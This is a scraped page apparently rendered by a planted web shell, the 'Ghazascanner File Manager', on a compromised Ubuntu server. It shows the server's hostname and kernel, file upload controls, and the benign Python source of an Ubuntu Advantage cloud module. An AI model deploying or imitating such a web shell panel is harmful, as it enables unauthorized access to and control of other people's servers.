@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux phpmyadmin-ubuntu-m-2vcpu-16gb-blr1-01 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Current Path :
/
usr
/
lib
/
python3
/
dist-packages
/
uaclient
/
clouds
/
Path :
Upload File :
New :
File
Dir
//usr/lib/python3/dist-packages/uaclient/clouds/__init__.py
import abc try: from typing import Any, Dict # noqa: F401 except ImportError: # typing isn't available on trusty, so ignore its absence pass class AutoAttachCloudInstance(metaclass=abc.ABCMeta): @property @abc.abstractmethod def identity_doc(self) -> "Dict[str, Any]": """Return the identity document representing this cloud instance""" pass @property @abc.abstractmethod def cloud_type(self) -> str: """Return a string of the cloud type on which this instance runs""" pass @property @abc.abstractmethod def is_viable(self) -> bool: """Return True if the machine is a viable AutoAttachCloudInstance.""" pass